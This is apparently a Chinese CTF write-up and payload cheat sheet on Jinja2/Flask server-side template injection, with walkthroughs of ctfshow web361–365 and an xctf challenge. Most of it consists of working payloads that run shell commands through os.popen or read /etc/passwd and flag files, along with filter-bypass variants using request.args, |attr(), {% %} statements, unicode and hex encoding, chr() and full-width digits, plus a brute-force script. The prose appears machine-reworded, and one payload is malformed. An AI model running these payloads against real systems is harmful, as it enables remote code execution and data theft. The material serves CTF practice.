{{().__class__.__bases__[0].__subclasses__().pop(40)('/etc/passwd').read()}}

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}

结构后为

{{().__class__.__bases__[0].__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__[request.args.os].popen(request.args.cmd).read()}}&os=os&cmd=ls /

过滤了下划线_

应用request对象绕过

又用到了这种办法,看来这种办法非常强大

{{().__class__.__bases__[0].__subclasses__().pop(40)('/etc/passwd').read()}}

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}

结构后为

{{().__class__.__bases__[0].__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__[request.args.os].popen(request.args.cmd).read()}}&os=os&cmd=ls /

过滤了点.

应用|attr()绕过

|attr()为jinja2原生函数,是一个过滤器,它只查找属性获取并返回对象的属性的值,过滤器与变量用管道符号( | )分割,它不止能够绕过点。所以能够直接应用,即

().__class__   相当于  ()|attr("__class__")

结构一个

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}

过滤后为

{{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(77)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls /")|attr("read")()}}

|attr()配合其他绕过办法能够同时绕过下划线、引号、点、中括号等。

应用中括号[]绕过

运用中括号直接停止拼接

{{().__class__.__bases__.[0].__subclasses__().[59].__init__['__globals__']['__builtins__'].eval('__import__("os").popen("ls /").read()')}}

过滤后为

{{''['__class__']['__bases__'][0]['__subclasses__']()[59]['__init__']['__globals__']['__builtins__']['eval']('__import__("os").popen("ls").read()')}}

同时,我们能够发现,这样绕过点之后,我们简直一切的关键字都成了字符串,我们就能够用上面的一些办法绕过了,比方hex编码,这样我们简直能够绕过全部的过滤。

过滤了大括号{{

我们能够用Jinja2的{%...%}语句装载一个循环控制语句来绕过,这里我们在一开端认识flask的时分就学习了:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}

这里在一开端的时分经过{%...%}载入了两个循环语句,经过for和if遍历函数,寻觅出'catch_warnings'这一命令然后将其命名为c,再经过找出的c命令组合结构语句,执行命令,最后用在引入两个end语句来终止前面的for和if的循环语句。

也能够运用 {% if ... %}1{% endif %} 配合 os.popencurl 将执行结果外带(不外带的话无回显)出来:

{% if ''.__class__.__base__.__subclasses__()[59].__init__.func_globals.linecache.os.popen('ls /' %}1{% endif %}

也能够用 {%print(......)%} 的方式来替代{{ }},如下:

{%print(''.__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read())%}

组合绕过

以下摘抄了S神的绕过姿态,tql。


同时过滤了 . 和 []

|attr()+__getitem__

绕过姿态:

{{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(77)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls")|attr("read")()}}

同等于:

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read()}}

同时过滤了 __ 、点. 和 []

__getitem__+|attr()+request

{{()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()|attr(request.args.x4)(77)|attr(request.args.x5)|attr(request.args.x6)|attr(request.args.x4)(request.args.x7)|attr(request.args.x4)(request.args.x8)(request.args.x9)}}&x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__("os").popen('ls /').read()

相当于:

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

配合Unicode编码绕过很多过滤

'  request  {{  _  %20(空格)  [  ]  .  __globals__   __getitem__

我们用{%...%}绕过对 {{ 的过滤,用|attr()绕过.,并用unicode绕过对关键字的过滤,然后__getitem__绕过中括号。

如下,后面的命令其实也能够换掉,但是没过滤,就先不换了:

{{()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(77)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("os")|attr("popen")("ls")|attr("read")()}}

同等于:

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read()}}

配合Hex编码绕过很多过滤

和上面Unicode的环境一样,办法也一样,就是换了种编码

如下

{{()|attr("\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f")|attr("\x5f\x5f\x62\x61\x73\x65\x5f\x5f")|attr("\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f")()|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")(258)|attr("\x5f\x5f\x69\x6e\x69\x74\x5f\x5f")|attr("\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f")|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")("os")|attr("popen")("cat\x20\x66\x6c\x61\x67\x2e\x74\x78\x74")|attr("read")()}}

同等于:

{{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(77)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls")|attr("read")()}}

大家能够发现这几种办法中都用到了|attr(),前面也说过,这是 JinJa 的一种过滤器,下面我们能够细致理解一下 JinJa 的过滤器,以便我们加深对绕过的了解,以及研讨以后新的绕过。


刷题看看

一个实例 标题 (xctf.org.cn)Web_python_template_injection

1.判别有无模板注入

http://111.200.241.244:61745/{{1+1}}

2.查看一下全局变量

url/{{config}}

补个学问

文件包含:是经过python的对象的继承来一步步完成文件读取和命令执行的的。
思绪:找到父类<type ‘object’>–>寻觅子类–>找关于命令执行或者文件操作的模块。

可能用到的魔术办法罗列一下

__class__  返回类型所属的对象
__mro__    返回一个包含对象所继承的基类元组,办法在解析时依照元组的次第解析。
__base__   返回该对象所继承的基类  // __base__和__mro__都是用来寻觅基类的

__subclasses__   每个新类都保存了子类的援用,这个办法返回一个类中依然可用的的援用的列表
__init__  类的初始化办法
__globals__  对包含函数全局变量的字典的援用

3.寻觅可用援用

{{''.__class__.__mro__[2].__subclasses__()}}

能够看到在40的位置有一个type file类型(能够停止文件读取)

{{ [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read() }}

能够看到7有一个<class ‘site._Printer’>类型(能够停止命令执行)

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

4.读取flag

{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}
ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}

ctfshow web361

标题说名字就是考点

所以传参为?name=

传入?name={undefinde{1+1}}回显2

这里应用os._warp_close类,一看有不少,写个脚原本找吧

import requests
from tqdm import tqdm

for i in tqdm(range(233)):
    url = 'http://3b571901-c1e3-41a6-96b3-605942386ec5.challenge.ctf.show/?name={{%22%22.__class__.__bases__[0].__subclasses__()['+str(i)+']}}'
    r = requests.get(url=url).text
    if('os._wrap_close' in r):
        print(i)

输出132

然后应用. init .globals来找os类中的。init初始化,globals全局查找

?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__}}

其中能看到popen,于是应用其来执行命令

?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('ls').read()}}

payload:

?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

ctfshow web362

随意试了试没发现过滤了啥

然后提交一下上一道题的payload,失败了 回显一个哭脸

查了一下 原来是过滤了数字

又查了查ssti过滤数字,找到了一个数字交换的脚本

将数字交换成全角数字

def half2full(half):  
    full = ''  
    for ch in half:  
        if ord(ch) in range(33, 127):  
            ch = chr(ord(ch) + 0xfee0)  
        elif ord(ch) == 32:  
            ch = chr(0x3000)  
        else:  
            pass  
        full += ch  
    return full  
t=''
s="0123456789"
for i in s:
    t+='\''+half2full(i)+'\','
print(t)

交换完了之后的payload

?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
ctfshow{90be8203-4e24-458f-8fc9-14062aed72c8}

然后再看别的大佬写的wp的时分发现362和363能够用一个payload提交

Payload:?name={{lipsum.__globals__.__getitem__("os").popen("cat /flag").read()}}

ctfshow web363

测试发现过滤了引号

如何绕过呢?下面来自Python模板注入(SSTI)深化学习 – 先知社区 (aliyun.com)


过滤引号

回忆我们上面的payload,哪里运用了引号?

接下来考虑对应的处理方法,首先第一个引号的作用是什么,是为了引出基类,而任何数据构造都能够引出基类,所以这里能够直接运用数组替代,所以上述payload就变成了:

{{[].__class__.__mro__[1].__subclasses__()[300].__init__.__globals__["os"]["popen"]("whoami").read()}}

在fuzz的时分我发现,数据构造能够被交换为数组、字典,以及数字0

再看看后面的引号是用来干嘛的,首先看看. init .globals返回的是什么类型的数据:

所以第一个引号就是获取字典内对应索引的value,这里我们能够运用request.args来绕过此处引号的过滤。

request.args是flask中一个存储着恳求参数以及其值的字典,我们能够像这样来援用他:

所以第二个引号的绕过办法即:

{{[].__class__.__mro__[1].__subclasses__()[300].__init__.__globals__[request.args.arg1]}}&arg1=os

后面的一切引号都能够运用该办法停止绕过。

还有另外一种绕过引号的方法,即经过python自带函数来绕过引号,这里运用的是chr()。

首先fuzz一下chr()函数在哪:

payload:

{{().__class__.__bases__[0].__subclasses__()[§0§].__init__.__globals__.__builtins__.chr}}

经过payload爆破subclasses,获取某个subclasses中含有chr的类索引,能够看到爆破出来很多了,这里我随意选一个。

{%set+chr=[].__class__.__bases__[0].__subclasses__()[77].__init__.__globals__.__builtins__.chr%}

接着尝试运用chr尝试绕过后续一切的引号:

{%set+chr=[].__class__.__bases__[0].__subclasses__()[77].__init__.__globals__.__builtins__.chr%}{{[].__class__.__mro__[1].__subclasses__()[300].__init__.__globals__[chr(111)%2bchr(115)][chr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)](chr(108)%2bchr(115)).read()}}


假定传入{{ config.__class__.__init__.__globals__['os'] }},由于引号被过滤,所以无法执行,能够把'os'换成request.args.a(这里的a能够了解为自定义的变量,名字能够恣意设置)

随后在后面传入a的值,变成{{ config.__class__.__init__.__globals__[request.args.a] }}&a=os,与原命令等效

Payload:
比方我们要结构?name={{ config.__class__.__init__.__globals__['os'].popen('cat ../flag').read() }},但是引号不能运用了,就能够把这两处运用引号的中央交换掉,最终变成
?name={{ config.__class__.__init__.__globals__[request.args.a].popen(request.args.b).read() }}&a=os&b=cat ../flag

ctfshow web364

这个题过滤了单双引号,args,所以上一题的思绪无法沿用 换个办法

咋绕过呢,看到了sp4c1ous师傅的文章


应用request对象绕过

{{().__class__.__bases__[0].__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd
#像下面这样就能够直接应用了
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__[request.args.os].popen(request.args.cmd).read()}}&os=os&cmd=ls /

同等于:

{{().__class__.__bases__[0].__subclasses__().pop(40)('/etc/passwd').read()}}
​
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}

假如过滤了args,能够将其中的request.args改为request.values,POST和GET两种办法传送的数据request.values都能够接纳。


依照大佬的办法做个payload

?name={{lipsum.__globals__.os.popen(request.values.gg).read()}}&gg=cat /flag
ctfshow{2e39f741-f60e-4cb9-a889-00441ac46737}

看了一下他人的wp,还能够用cookie绕过

应用bp抓包然后传入cookie的值

效果一样

ctfshow web365

字符串拼接绕过

应该是过滤了单双引号,args,[]

中括号能够用点或者__getitem__绕过

经过__getitem__()结构恣意字符,比方

?name={{config.__str__().__getitem__(22)}}   # 就是22
------本页内容已结束,喜欢请分享------

感谢您的来访,获取更多精彩文章请收藏本站。

© 版权声明
THE END
喜欢就支持一下吧
点赞13赞赏 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片